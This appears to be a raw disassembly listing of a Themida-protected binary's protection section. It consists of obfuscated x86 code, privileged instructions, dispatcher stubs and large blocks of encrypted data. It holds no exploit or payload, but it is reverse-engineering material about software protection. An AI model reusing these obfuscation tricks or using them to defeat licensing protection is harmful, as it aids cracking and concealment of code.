		dd 0C28B17C4h, 0CE8h, 8D7FFA00h, 1AB17CCDh, 64826CCFh
		dd 0E9605EDAh, 13h, 0A567216Bh,	2FC6EBDFh, 0D3862FA6h
		dd 71BBD581h, 66751C36h, 0B9C5E681h, 4AC68161h,	60000074h
		dd 0BECF8B60h, 7BD140A1h, 0E3686161h, 8000001Ch, 815911F3h
		dd 0B36C51E3h, 0E836FF3Eh, 10h,	0FCCECB02h, 5DF507FBh
		dd 0DBD52149h, 21D88ACDh, 5AEEE680h, 9FC08158h,	666CEB76h
		dd 812B3DBFh, 2D8137C0h, 0F9BF0F7Bh, 0EA94E881h, 0FE96781h
		dd 6D000000h, 3263FEh, 0BCB5DC44h, 5528D221h, 689E87Bh
		dd 4CEE81FCh, 805F62D2h, 0C6812ECAh, 5F62D248h,	8E9h, 0F552AA00h
		dd 79DA8DBAh, 1E98373h,	0FF8F850Fh, 65BAFFFFh, 0EB0E9359h
		dd 46F31718h, 9Bh, 4 dup(0)
		dd 20BE900h, 8B600000h,	0E824245Ch, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 0AE66D9Ah
		popa
		retn	4
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFFFE6h, 8C26160h, 0FFF6E900h, 6160FFFFh,	0E90008C2h
		dd 0FFFFFFF6h, 8C26160h, 0FFF6E900h, 6160FFFFh,	0E90008C2h
		dd 0FFFFFFF6h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5B92CC:				; CODE XREF: Themida_:005B92CFj
		pusha
		popa
		retn
; ---------------------------------------------------------------------------
		jmp	loc_5B92CC
; ---------------------------------------------------------------------------
		mov	esi, [ebp+0AE66DD2h]
		and	esi, 0FFFFF000h
		jmp	loc_5B92F0
; ---------------------------------------------------------------------------


loc_5B92E5:				; CODE XREF: Themida_:005B92F6j
		call	sub_5B9303
		add	esi, 1000h


loc_5B92F0:				; CODE XREF: Themida_:005B92E0j
		cmp	esi, [ebp+0AE66DD6h]
		jbe	loc_5B92E5
		mov	eax, cr3
		mov	cr3, eax
		iret

; =============== S U B	R O U T	I N E =======================================



sub_5B9303	proc near		; CODE XREF: Themida_:loc_5B92E5p
		pusha
		popa
		retn
sub_5B9303	endp

; ---------------------------------------------------------------------------


loc_5B9306:				; CODE XREF: Themida_:005B9332j
		push	eax
		mov	ax, cs
		and	al, 3
		or	al, al
		jz	loc_5B932D
		push	eax
		push	ebx
		mov	ebx, 2
		mov	eax, [ebp+0AE316F9h]


loc_5B9321:				; CODE XREF: Themida_:005B9325j
		xchg	bl, [eax]
		or	bl, bl
		jnz	loc_5B9321
		pop	ebx
		pop	eax


loc_5B932D:				; CODE XREF: Themida_:005B930Ej
		pop	eax
		inc	dword ptr [esp]
		retn
; ---------------------------------------------------------------------------
		jmp	loc_5B9306
; ---------------------------------------------------------------------------
		db 50h
		dd 82474FFh, 355195FFh,	0F500AE3h, 0FE244C01h, 1CC08358h
		dd 245C8B53h, 5889660Ch, 588966FCh, 8C665B02h, 0A0324C8h
		dd 9840FC0h, 8B000000h,	0E316F985h, 0C60Ah, 2404FF58h
		dd 0E90004C2h, 0FFFFFFBBh, 8C665053h, 3E380CBh,	840FDB0Ah
		dd 38h,	2BBh, 0F9858B00h, 860AE316h, 0FDB0A18h,	0FFFFF685h
		dd 0C985C7FFh, 0AE32Fh,	8B000000h, 8B082444h, 100098h
		dd 988900h, 8B000010h, 0E9188918h, 0Ah,	2FC985C7h, 1000AE3h
		dd 5B580000h, 0C32404FFh, 0FFFFA3E9h, 3E8060FFh, 31840F00h
		dd 0BB000000h, 763AB7A1h, 1B101B0h, 13E9h, 0C88AAC00h
		dd 0C332C302h, 0BAACBD1h, 1840FD2h, 4A000000h, 850FC90Ah
		dd 0FFFFFFE5h, 850FD20Bh, 0FFFFFFDDh, 8B52C361h, 7A8B57D4h
		dd 0E9C03308h, 1, 3F80AAh, 0FFF6850Fh, 5A5FFFFFh, 530004C2h
		dd 0C0335651h, 10E9DB33h, 0AC000000h, 0D3D1D833h, 5ABCC381h
		dd 0C88A3746h, 0B49D3D3h, 0E8850FC9h, 8BFFFFFFh, 5B595EC3h
		dd 0A1BB60C3h, 0B0763AB7h, 11E901h, 32AC0000h, 0D1C32AC3h
		dd 0D20BAACBh, 1840Fh, 0A4A0000h, 0E7850FC0h, 0BFFFFFFh
		dd 0DF850FD2h, 61FFFFFFh, 0D88C66C3h, 840F04A8h, 29h, 6D7785C7h
		dd 10AE6h, 0F500000h, 0FE244C01h, 6D7B858Fh, 858D0AE6h
		dd 0AE66D73h, 6D7BBD8Dh, 38890AE6h, 23E9h, 51858D00h, 8B0AE332h
		dd 17053840h, 899B46F3h, 0E66D7385h, 51858D0Ah,	8B0AE332h
		dd 85893C40h, 0AE66D77h, 6D90858Dh, 85890AE6h, 0AE33551h
		dd 87E9h, 0D48B5200h, 8728B60h,	0B80C7A8Bh, 0A945CAB2h
		dd 7E9h, 30060000h, 46C8D106h, 820FF73Bh, 0FFFFFFF1h, 8C25A61h
		dd 0D48B5200h, 8728B60h, 0B80C7A8Bh, 0A945CAB2h, 7E9h
		dd 28063000h, 46C8D106h, 820FF73Bh, 0FFFFFFF1h,	8C25A61h
		dd 0D48B5200h, 33535156h, 8728BDBh, 0E90C4A8Bh,	13h, 0F2D3CACh
		dd 0A84h, 34980400h, 0C1D83213h, 0B4908C3h, 0E5850FC9h
		dd 8BFFFFFFh, 5E595BC3h, 8C25Ah, 7003858Dh, 85890AE6h
		dd 0AE3123Dh, 702B858Dh, 85890AE6h, 0AE3158Dh, 7053858Dh
		dd 85890AE6h, 0AE31105h, 8EBh, 0
		dd 7BE90000h, 60000000h, 4C010F52h, 835AFE24h, 858B24C2h
		dd 0AE32269h, 0A111858Dh, 88B0AE6h, 1000888Bh, 0A8B0000h
		dd 0FC4A8B66h, 70B48D89h, 0BD830AE6h, 0AE30231h, 0F840F00h
		dd 60000000h, 95FF006Ah, 0AE31CD1h, 0FFC4E961h,	8966FFFFh
		dd 0CEC1FC72h, 72896610h, 4CD5202h, 0B085895Ah,	8B0AE670h
		dd 0E670B4B5h, 10CEC10Ah, 2728966h, 70B4B58Bh, 89660AE6h
		dd 8B61FC72h, 0E670B085h, 958DC30Ah, 0AE329DDh,	16F99589h
		dd 95890AE3h, 0AE31A65h, 1A6585FFh, 85C60AE3h, 0AE31CF1h
		dd 48D86853h, 0B5FFFCB1h, 0AE33145h, 3AF9858Dh,	0D0FF0AE3h
		dd 1CD18589h, 858D0AE3h, 0AE66DAAh, 1E698589h, 20EB0AE3h
		dd 8 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5B9C63
; ---------------------------------------------------------------------------
		jmp	loc_5B9C5C
; ---------------------------------------------------------------------------
		push	0AE67378h
		jmp	loc_58A4A9
; ---------------------------------------------------------------------------
		push	0AE67438h
		jmp	loc_58A4A9
; ---------------------------------------------------------------------------
		push	0AE675EDh
		jmp	loc_58A4A9
; ---------------------------------------------------------------------------
		push	0AE6765Bh
		jmp	loc_58A4A9
; ---------------------------------------------------------------------------
		dw 0F299h
		dd 7E0C4139h, 0C2F4C981h, 4F705505h, 0CBFDD08Ah, 9D4D5A10h
		dd 0E05A9D23h, 69211AADh, 0F0AA6714h, 4634EF9Dh, 355E0DCDh
		dd 83BF93Ah, 5491D6Dh, 265358C2h, 0A4C6DFABh, 941137BBh
		dd 9CC776D3h, 34h, 0AB537F08h, 0F4F446DFh, 4B52812h, 90FC4FCBh
		dd 1CA1C458h, 234C1FDBh, 0FA46DFABh, 3DE4C711h,	0C3CF9FCh
		dd 10A6DB1Fh, 0DC03B41h, 35C147C3h, 0D5000000h,	0DFAB527Fh
		dd 13F5F546h, 1B7AA4D7h, 4C5D70AFh, 0DF38F61Fh,	69DCCF46h
		dd 0D9802B2Fh, 0B03CF98Ah, 761C6FCBh, 740CBB74h, 87B0FB7Fh
		dd 5E3BF94Ch, 97E763ADh, 0C78035A8h, 29690F36h,	0F515C87Ah
		dd 0DBEFCA06h, 117AFE1Ch, 0F7CC0E25h, 4D5EBAE2h, 0CFE0AE8Bh
		dd 44096C0Ch, 32BC4983h, 0B169AED0h, 0EA50BAB3h, 0E05C94C1h
		dd 988269C6h, 0DC1FA1C4h, 0F6315B3Eh, 0D8E0C903h, 15A6DB1Fh
		dd 8BC536D4h, 0A435353Fh, 0E07BCEF7h, 81F4A7C6h, 58A23A6Fh
		dd 0C466D9B1h, 0F0DC1FA1h, 31DF3378h, 2D5EBCFDh, 93D8DDF8h
		dd 0D1C2B86Ah, 9B655843h, 0E3DB0E4Dh, 91AE26C8h, 0EA9189C3h
		dd 5E992D40h, 3AE9CFBCh, 4CA21904h, 0CA0FB099h,	7991FB40h
		dd 0A31A61E5h, 0FCBE9EBDh, 0D2F72073h, 0DDCED1C2h, 0D383B0F3h
		dd 79F9D1C2h, 94B67304h, 0ED06DA7h, 6A0C8D3Ah, 6E8732h
		dd 0A6F70000h, 286A4A2h, 0F9358679h, 418B1FD4h,	0F906DE5Eh
		dd 60CAB13Ch, 7C089ECh,	0FDDC3803h, 82A614CFh, 0C7F4DDEFh
		dd 1C7D570Ah, 0F249B36Ch, 2914B6EFh, 31B53F5h, 8A310000h
		dd 16A49951h, 9A2C61D9h, 0E7A8ED5Dh, 63156822h,	45B5F2A8h
		dd 38F2355Bh, 8179B2C5h, 8C23F4Ch, 9E4C8735h, 8DB6E575h
		dd 603BF938h, 0E68A75B5h, 22000002h, 22540549h,	430832E5h
		dd 3D4FBC06h, 0D028FC2h, 0E4B763ADh, 46DFA4B7h,	0DFA5E491h
		dd 0A590BE46h, 0CCBF46DFh, 6E712E3Ch, 8F8681F3h, 77C496C9h
		dd 0F953B6FDh, 0C2B52EFAh, 25689596h, 0F09546DFh, 3D0E0CCDh
		dd 25A3D0D3h, 507D46DFh, 0F386DF25h, 552911F7h,	200AC926h
		dd 107CD431h, 0F8CAA10Fh, 0F713F87Ch, 0AF8B7D7Dh, 0BF01B62Bh
		dd 0F8CEC3ECh, 3EF19A7Bh, 0C2E52F1Ch, 7215B7D6h, 9986C2A9h
		dd 80C9D62Fh, 25BCA6Ch,	4A710000h, 0D6E4D991h, 5A6CA119h
		dd 0A7E82D9Dh, 2355A862h, 5F532E8h, 7832F59Bh, 0C1B97205h
		dd 4802FF8Ch, 0DE8C4775h, 0CDF6A535h, 0A03BF936h, 35A8B5F5h
		dd 79C24883h, 558E3A1Fh, 6683E695h, 13279E96h, 0A468736h
		dd 41776AEEh, 5DB78486h, 0C971D793h, 7DFD2675h,	2BD046DFh
		dd 0FF4269E1h, 463CF9CEh, 0B1599E23h, 711A0E4Ah, 0BFC0A5B9h
		dd 216BD07Ah, 0F94186C8h, 4F0D3665h, 0ADD13BF9h, 216B106Ah
		dd 95526459h, 0DFBFF75h, 0A0D37E2Dh, 0C1AA3213h, 7DD50209h
		dd 727646DFh, 56055694h, 373CF9CFh, 0F983E644h,	0F5E84C3Eh
		dd 35EE9AC7h, 0D7732615h, 0BBC12864h, 0FA94B7C0h, 8FCCE615h
		dd 2F1C3EF9h, 0B0CDDE7Ch, 0BD3BF8BEh, 0E872B7D8h, 0BE1E4714h
		dd 4F73BF8h, 0FDFD0751h, 0E17C2F0Bh, 0B832130Fh, 0ECEF7A4h
		dd 0F4A746DFh, 2129E697h, 0AEC367DAh, 1469211Ah, 4F883D64h
		dd 66FA7E9Ch, 0DF0F0C35h, 0DE3AE146h, 0DF0FB0CDh, 51B7B346h
		dd 6117C2E9h, 4D3E3CF9h, 8380FF1h, 1F0B4546h, 0E1ABCE6Ch
		dd 6B117426h, 0A5D78AB0h, 780A2E6Ah, 0C1A48680h, 0DA1E7ABDh
		dd 5B9C2346h, 1F004CBFh, 32139E78h, 0FBA0AA51h,	46DF7BCEh
		dd 2F2BEC9Eh, 59C13A4Ah, 29B5C872h, 9AE6058Bh, 82793FA3h
		dd 4EF7D19Dh, 424776DFh, 11h, 90527F32h, 86FB46DFh, 3CDA36F7h
		dd 0Eh,	91527F68h, 86FB46DFh, 251634F5h, 0A2A6BBEBh, 92D586A4h
		dd 0FB3CF9FBh, 5B72A10h, 986A8ECAh, 40C466E0h, 755F982Dh
		dd 16395632h, 26620932h, 9D5DD37h, 0A6944AEEh, 0A4000000h
		dd 2B6EDC15h, 93F6A463h, 1F7228EFh, 98FDAD6Ah, 284733F4h
		dd 7DBECEBAh, 0C405488Dh, 4D8A3316h, 0D710B89Dh, 416AE063h
		dd 3BF93618h, 0A6FA30EDh, 0D586A4A2h, 3CF9FB92h, 0C304B62Bh
		dd 60EA9189h, 0DA60E6E2h, 5E992346h, 78B3D9BCh,	5AB669D2h
		dd 162B6949h, 3378FC32h, 46DA4B0Ah, 0CCDC38E3h,	0CBF0E5DFh
		dd 3FD309D5h, 3899h, 0AE671200h, 36F199FCh, 0BA7D0144h
		dd 3FF88DC0h, 8546764Bh, 0BC28DAD5h, 261BCF08h,	0A1E45697h
		dd 166BDF18h, 52F1A962h, 34AAD398h, 96833BF9h, 38A90h
		dd 0C8220000h, 0C90249E0h, 0E35C6C41h, 0BC750267h, 53943B9Eh
		dd 69A2D2B7h, 3FF88CE1h, 0D415A61Bh, 0E82F5336h, 807F0F62h
		dd 8952B99Ah, 4C281E2h,	83000000h, 148704EAh, 4895C24h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edx
		push	ebx
		push	7335523Fh
		pop	ebx
		and	ebx, 0A4F0281h
		xor	ebx, 34F77FC8h
		dec	ebx
		add	ebx, 0CE9C867Ah
		mov	eax, ebx
		pop	ebx
		shl	eax, 1
		shr	eax, 7
		not	eax
		shr	eax, 2
		or	eax, 47C847CFh
		xor	eax, 751C062Fh
		push	esp
		mov	edx, [esp]
		add	esp, 4
		push	eax
		xor	dword ptr [esp], 1C643F3Ch
		pop	dword ptr [edx+8]
		push	ebx
		mov	ebx, 1C643F3Ch
		xor	[edx+8], ebx
		pop	ebx
		mov	edx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_58A4A9
; ---------------------------------------------------------------------------
		dw 0ED6Bh
		dd 74238F26h
; ---------------------------------------------------------------------------


loc_5B9C5C:				; CODE XREF: Themida_:005B9695j
		mov	eax, 0AE676B8h
		add	eax, ebp


loc_5B9C63:				; CODE XREF: Themida_:005B9690j
		mov	ecx, eax
		jmp	short $+2
		jmp	loc_5BA2B2
; ---------------------------------------------------------------------------
		jmp	loc_5BA2AB
; ---------------------------------------------------------------------------
		push	0AE67889h
		jmp	loc_58A4A9
; ---------------------------------------------------------------------------
		push	0AE679B3h
		jmp	loc_58A4A9
; ---------------------------------------------------------------------------
		push	0AE67A42h
		jmp	loc_58A4A9
; ---------------------------------------------------------------------------
		push	0AE67B07h
		jmp	loc_58A4A9
; ---------------------------------------------------------------------------
		push	0AE67C64h
		jmp	loc_58A4A9
; ---------------------------------------------------------------------------
		db 0F8h
		dd 6FA218D1h, 0D72AE05Fh, 53B664A3h, 0DC31E92Eh, 6CBB6FA8h
		dd 0B972027Eh, 0F98CC1h, 8946774Ah, 13CCFCD1h, 7D2EACA7h
		dd 3BF93454h, 0E1EA4C29h, 0FAAE1B63h, 4165AFFBh, 0DFAB527Fh
		dd 0AB032C46h, 0AFDD46DFh, 5E46DFAAh, 0B5C2933Bh, 2C81897Ch
		dd 53B8A29Fh, 4673B4E0h, 2046DFABh, 46DFAAF4h, 0DFAB9FCCh
		dd 11DDAEC6h, 368C982Eh, 4D0DD701h, 67FB7FFBh, 0DF9F0B34h
		dd 1D4EE2C6h, 0C6DF9EF4h, 256F22C9h, 0FCBE2202h, 0A48675BCh
		dd 2215B20h, 0F65523E4h, 0D10EBF9Ah, 0DA972419h, 0D2D282DFh
		dd 854609B5h, 69FB1FD2h, 9A311771h, 0C15996Ch, 0C9FC9159h
		dd 6734C410h, 0B218E47Bh, 0B4DD8E02h, 89C6DEF3h, 1F72B6E2h
		dd 81FBAE69h, 89D1245Bh, 89FC92B6h, 0C0000004h,	0B78A40B9h
		dd 3F12C807h, 0BB9E4C8Bh, 2419D116h, 84E35790h,	0E15A6A56h
		dd 68A1D429h, 0F12E5FB2h, 7BB4C439h, 0A5F6848Fh, 3BF9337Ch
		dd 4966A451h, 5942C803h, 46DFAB2Dh, 0B5B63819h,	0D7EFA8D0h
		dd 0B08EDA3Bh, 0C78BD083h, 0E7311A00h, 2D0DC6F2h, 88C40548h
		dd 74AFDD30h, 0EC9F3D6h, 23E4A90Ch, 0F7304227h,	15D97653h
		dd 0DF83BC63h, 8842BDCFh, 7658CA73h, 3EFFE47h, 0A8AE0000h
		dd 0D478035h, 82359C2Ch, 877AC149h, 0AAEC1883h,	0C2F246DFh
		dd 1FAC0109h, 26DF3822h, 2B0FFCBCh, 0AADB0457h,	0FA8346DFh
		dd 0DC2E1D3Dh, 8628E52Fh, 2F9B5464h, 0DC055624h, 6146DFAAh
		dd 390BF81Ah, 94F552BAh, 0D82327E0h, 7BFFACFCh,	5AB67706h
		dd 0F5A63ABEh, 46DF40CCh, 1987FAA1h, 0B062D4C7h, 0EF9CFDD7h
		dd 77057832h, 18D49EBCh, 7B014436h, 0A3A76016h,	3645E558h
		dd 0B56BB2B6h, 6E1378CDh, 0D6CB6FA9h, 67B466A7h, 46DEC43Ah
		dd 0B05A9322h, 6AD03632h, 0FBA76141h, 0AFD1343Ch, 0A09F2F6Ch
		dd 64D7B3EDh, 0AA4E14B4h, 35FF4h, 16CFFA00h, 9E5961A4h
		dd 62A5E92Ch, 0E72055A8h, 6DAEDE33h, 48072BDh, 8EC3B770h
		dd 94C3EFFh, 0FED38740h, 0AA5911CAh, 32527B20h,	4E2B3BF9h
		dd 48034938h, 1210F1DDh, 6EEC5FB9h, 6F10410Bh, 0FF73F7AAh
		dd 0DF9083ACh, 67B15A46h, 6EAFDEB3h, 90026FBCh,	2F5C46DFh
		dd 3F46DF80h, 72B5D988h, 0A327BBBFh, 0DF9FCFF8h, 0A2F5A646h
		dd 46DFA079h, 0C5755F4Ch, 0DF9FA9D6h, 0A89E5A46h, 873DD982h
		dd 6B103CFCh, 0B37D4F31h, 7016CA14h, 2D0h, 0D387400Bh
		dd 5B0FC8FEh, 27935466h, 0A218D1E2h, 2C9E596Fh,	0E3950FC3h
		dd 681F7228h, 0F186FBAFh, 7D0F4238h, 0BF3BC882h, 0F930C3ECh
		dd 0AFFF9A3Bh, 42C80349h, 78E25D6Fh, 0A2C75B9Fh, 0CE3DDD16h
		dd 0DFAB92BBh, 61166B46h, 0E659A2A8h, 3FCF93AAh, 4498528Dh
		dd 397CC637h, 3245B29Ch, 0B7C506F9h, 46FF107Ch,	4A4776D8h
		dd 245h, 0AB527F3Ah, 6D1A46DFh,	0FA83C6B4h, 13B81D3Dh
		dd 2ACB34D6h, 58038788h, 46DFAB2Fh, 0DE3B1506h,	0A6BA70A9h
		dd 6D9A5922h, 31F07E15h, 0DEDFB5DEh, 0D813B946h, 5CFFD9C2h
		dd 47761BA3h, 48A9h, 0A2A6D500h, 49D586A4h, 243CFC8Fh
		dd 89410D77h, 3CD014B3h, 20B9Ah, 0C23B4E00h, 4A853508h
		dd 0CE09BD90h, 5394391Ch, 0D912A2E7h, 0E8D40661h, 52B763A4h
		dd 0DD30EA23h, 428773ACh, 60DFD36h, 2FFE2774h, 2AD73BF9h
		dd 0A8F387DCh, 46DFAB77h, 0FE8DAD5Eh, 2C350BFCh, 8C3F54Dh
		dd 5463902h, 0BD5DB770h, 0F6334439h, 4CADE754h,	3508C23Fh
		dd 0ACE4C87h, 47BCE5B6h, 0EA9146DFh, 0A6A8A4AEh, 3C0B70F4h
		dd 4B11EFC2h, 3059B09Ch, 0BACE03F7h, 3029E1C1h,	0AF62EB0Fh
		dd 318736ABh, 0DEEA416Ah, 5A952546h, 4C3F4BB0h,	4DFA2199h
		dd 3710844Ah, 5B00CA45h, 46DF9F32h, 1B44170Bh, 0F246DF9Fh
		dd 2E2CEB9Fh, 93B76ADDh, 0EF4B8C3Eh, 0D400F98Ah, 0DFDFE74h
		dd 6714490Dh, 685BA0AAh, 5F90999Dh, 0D3C612C9h,	4EC268AFh
		dd 0DFA0F41Dh, 0F622C946h, 14ADDE12h, 0DA2E9BA2h, 627EAEE1h
		dd 0C5859B3h, 3BB2DFC0h, 955546DFh, 6833B7B3h, 46DF3C3Fh
		dd 38ACF931h, 0C822506Fh, 3A61E923h, 3CFC84AEh,	0EB905A41h
		dd 6437A0ADh, 3BFC2B3Bh, 0DD366912h, 0B0B8947Bh, 0B872ADDDh
		dd 70FA3545h, 5A86AFFCh, 0AC5F3BFCh, 0A4D5C860h, 0FB8AEF6Bh
		dd 11A51802h, 0BABE34D6h, 0C58BEE4Ch, 5902D602h, 32197459h
		dd 4A73383Ch, 2346DF34h, 0E95B8578h, 5809D0E3h,	0AE02A4h
		dd 9E2D0000h, 0EA90F5A5h, 76187D2Dh, 0F384F9B1h, 7F014436h
		dd 31A1CEBCh, 14C601B7h, 9D4D8E31h, 64D613B8h, 0EAA09B21h
		dd 0A1CA9159h, 743BF92Fh, 35A88189h, 2D0C4883h,	0C3A6A49Fh
		dd 78FC7EB9h, 0D66AE313h, 0C6D96F60h, 46DF659Dh, 0A9418B70h
		dd 0C1498634h, 0C7F7DEECh, 0D8B55508h, 2C1B73Bh, 1BA141EDh
		dd 85F66A20h, 2D2B45F4h, 721B4084h, 0FB85BB5h, 5477640h
		dd 15h,	0AB537F71h, 711B46DFh, 0B05A9F20h, 2C22984Bh, 0Bh
		dd 0AB527F78h, 6E1A46DFh, 69B5C5B5h, 0D0F89DC6h, 91F3D17h
		dd 5B000000h, 0B4569726h, 7DAD0D47h, 41C90249h,	67E35C6Ch
		dd 9EBC7502h, 0B753943Bh, 0E169A2D2h, 1B3FF88Ch, 36D415A6h
		dd 62E82F53h, 9A807F0Fh, 0E08950B9h, 405h, 4E88300h, 31240433h
		dd 4332404h, 0C9685C24h, 8900004Fh, 8951242Ch, 4C181E1h
		dd 81000000h, 4E9h, 240C8700h, 240C895Ch, 8904EC83h, 0B1BA2414h
		dd 890AE677h, 4E685AD5h, 89000074h, 4832424h, 68590424h
		dd 2CCh, 8F242C89h, 34FF0841h, 0C4815924h, 4, 52242C8Bh
		dd 0C281E289h, 4, 8704C283h, 0E95C2414h, 0FFFD0205h, 0C42D2356h
		db 0E5h, 26h, 37h
; ---------------------------------------------------------------------------


loc_5BA2AB:				; CODE XREF: Themida_:005B9C6Cj
		mov	eax, 0AE67D37h
		add	eax, ebp


loc_5BA2B2:				; CODE XREF: Themida_:005B9C67j
		mov	edx, ecx
		jmp	loc_5BA30A
; ---------------------------------------------------------------------------
		pusha
		mov	esi, [esp+24h]
		add	esi, [esi+3Ch]
		mov	edi, [esp+28h]
		mov	edx, esi
		add	edx, 0F8h
		mov	cx, [esi+6]
		movzx	ecx, cx


loc_5BA2D4:				; CODE XREF: Themida_:005BA2FFj
		cmp	ecx, 0
		jz	loc_5BA2F3
		cmp	edi, [edx+0Ch]
		jg	loc_5BA2FB
		sub	edx, 28h
		mov	eax, [edx+0Ch]
		mov	ecx, [edx+14h]
		sub	eax, ecx
		sub	edi, eax


loc_5BA2F3:				; CODE XREF: Themida_:005BA2D7j
					; Themida_:005BA305j
		mov	[esp+1Ch], edi
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_5BA2FB:				; CODE XREF: Themida_:005BA2E0j
		add	edx, 28h
		dec	ecx
		jnz	loc_5BA2D4
		jmp	loc_5BA2F3
; ---------------------------------------------------------------------------


loc_5BA30A:				; CODE XREF: Themida_:005BA2B4j
		mov	edx, 9FD3Eh
		jmp	loc_5BA451
; ---------------------------------------------------------------------------
		dd 507221Dh, 0DA95ECE7h, 6715893h, 0BEB6CFDFh, 365D54FDh
		dd 0BCECA436h, 0C55DD500h, 0D676D352h, 0FC94A4h, 0C1AEC441h
		dd 5277CB50h, 9CACAC32h, 6C46BF00h, 7390ADFCh, 0D6A33659h
		dd 9C72E275h, 0DD0090BDh, 9B8CE693h, 64A592A7h,	92A7ABDDh
		dd 7A918F97h, 0B9F95CFCh, 9BB1E496h, 9F47E4B5h,	0B6E592B6h
		dd 9EBDF694h, 96B3EBB5h, 9C93D0ECh, 7B97BF99h, 89F55CFDh
		dd 0EDAFF493h, 0E3B2CD00h, 0D4E594A6h, 5700C3B5h, 0F3622D44h
		dd 38AE29B0h, 60000000h, 64000000h, 2 dup(0)
		dd 4000000h, 94000000h,	5000000h, 1000000h, 28000000h
		dd 200000Ah, 53000000h,	69767265h, 50206563h, 206B6361h
		dd 32h,	1Ch dup(0)
		db 0
; ---------------------------------------------------------------------------


loc_5BA451:				; CODE XREF: Themida_:005BA30Fj
		jmp	loc_5BC34F
; ---------------------------------------------------------------------------
		push	0AE68158h
		jmp	loc_58A4A9
; ---------------------------------------------------------------------------
		push	0AE68238h
		jmp	loc_58A4A9
; ---------------------------------------------------------------------------
		push	0AE682FEh
		jmp	loc_58A4A9
; ---------------------------------------------------------------------------
		push	0AE683EFh
		jmp	loc_58A4A9
; ---------------------------------------------------------------------------
		push	0AE684BDh
		jmp	loc_58A4A9
; ---------------------------------------------------------------------------
		push	0AE68571h
		jmp	loc_58A4A9
; ---------------------------------------------------------------------------
		push	0AE68638h
		jmp	loc_58A4A9
; ---------------------------------------------------------------------------
		push	0AE686CDh
		jmp	loc_58A4A9
; ---------------------------------------------------------------------------
		push	0AE68AE0h
		jmp	loc_58A4A9
; ---------------------------------------------------------------------------
		push	0AE68B44h
		jmp	loc_58A4A9
; ---------------------------------------------------------------------------
		push	0AE68C7Eh
		jmp	loc_58A4A9
; ---------------------------------------------------------------------------
		push	0AE68F80h
		jmp	loc_58A4A9
; ---------------------------------------------------------------------------
		push	0AE692DDh
		jmp	loc_58A4A9
; ---------------------------------------------------------------------------
		push	0AE69633h
		jmp	loc_58A4A9
; ---------------------------------------------------------------------------
		push	0AE6975Bh
		jmp	loc_58A4A9
; ---------------------------------------------------------------------------
		push	0AE697B6h
		jmp	loc_58A4A9
; ---------------------------------------------------------------------------
		push	0AE69801h
		jmp	loc_58A4A9
; ---------------------------------------------------------------------------
		push	0AE69854h
		jmp	loc_58A4A9
; ---------------------------------------------------------------------------
		push	0AE69A1Eh
		jmp	loc_58A4A9
; ---------------------------------------------------------------------------
		push	0AE69B5Ah
		jmp	loc_58A4A9
; ---------------------------------------------------------------------------
		push	0AE69D09h
		jmp	loc_58A4A9
; ---------------------------------------------------------------------------
		dd 27934C7Fh, 0AF1BD4E2h, 2B9F586Ah, 0B664A5D6h, 30EA2D53h
		dd 0F79903F7h, 7C034634h, 0FD8ACFBBh, 49735604h, 0A337DC8Eh
		dd 0F92ACFF8h, 0B3FBA63Bh, 42C80349h, 28E25D6Fh, 62C83E3Ah
		dd 0FCC7E539h, 67E3883Ch, 0FC860734h, 16D8453Bh, 95F1B532h
		dd 3BBF4Dh, 0A8EF0000h,	0F498235h, 270305C5h, 40B9CEA3h
		dd 94631314h, 0A14A3CFCh, 91C5F2B9h, 0E4A93BFCh, 32422723h
		dd 4E7C51F9h, 75828991h, 0B76612DCh, 7B04248Eh,	714D95C9h
		dd 0CBh, 0C803491Dh, 0A2EB8E42h, 0AB204912h, 6F546DFh
		dd 6C107953h, 0BECAAFABh, 0D8E0C545h, 1447DB1Fh, 46DFAAEBh
		dd 0BFFD9C2h, 0DFA69200h, 77B0D846h, 2DEE9EF3h,	16F2DE2Dh
		dd 0CC4E8933h, 0E9225508h, 0BF780C61h, 824680CCh, 0BEC3A684h
		dd 90DB1F79h, 3CFCBCF8h, 240EFCAFh, 0C801B424h,	2406F942h
		dd 567F2CA0h, 2F3BFC82h, 270F107Ch, 7E321827h, 84C8AD8Dh
		dd 0EF6BA4D5h, 648DDE1Ch, 3946D8B7h, 0D62B9F52h, 0C3B65A6h
		dd 3B09D75Ah, 1C756107h, 6A110000h, 0F684F9B1h,	7A0C4139h
		dd 0C788CDBDh, 43754802h, 25D5D288h, 18D215BBh,	0E1599225h
		dd 68221FACh, 0FEAC6715h, 0ADD68555h, 803BF929h, 7499595h
		dd 893316C4h, 0A68C9C4Eh, 5F88D3A2h, 3646DFABh,	3A89245h
		dd 3CFC9453h, 0E2C9513Ah, 3BFC91B5h, 80A80A2Bh,	4D95C9E7h
		dd 0C6EDh, 35A89900h, 790E4B84h, 67B19A80h, 8D8D4672h
		dd 0A7A36428h, 0FC3D4E23h, 80A3ED5Eh, 46DFA712h, 3F73058h
		dd 0D941BACEh, 71F94F0Bh, 27B98EFDh, 1C671170h,	20B84775h
		dd 6EAA1D6Eh, 0FC7DA53Dh, 8235A83Ch, 701B0F49h,	56B0A8BAh
		dd 0BCCF194h, 0F7204B0Fh, 0CE3BFC3Ch, 98216ADDh, 0B6E5755Fh
		dd 3217E43Dh, 0E05B6D00h, 0F8D413BBh, 1A7FFBA0h, 84F9B16Ah
		dd 30CD37F0h, 6309D71Ah, 1B9529CFh, 4A710000h, 0D6E4D991h
		dd 5A6CA119h, 0A7E82D9Dh, 2355A862h, 5F532E8h, 7832F59Bh
		dd 0C1B97205h, 4802FF8Ch, 0DE8C4775h, 0CDF6A535h, 0A03BF928h
		dd 749B5F5h, 6FEB2452h,	1C71299Ch, 0EFFB336Ch, 6AC4072Eh
		dd 0A8BBC3B7h, 0CE4C8735h, 0B366A1EBh, 8F487059h, 0E692F78Bh
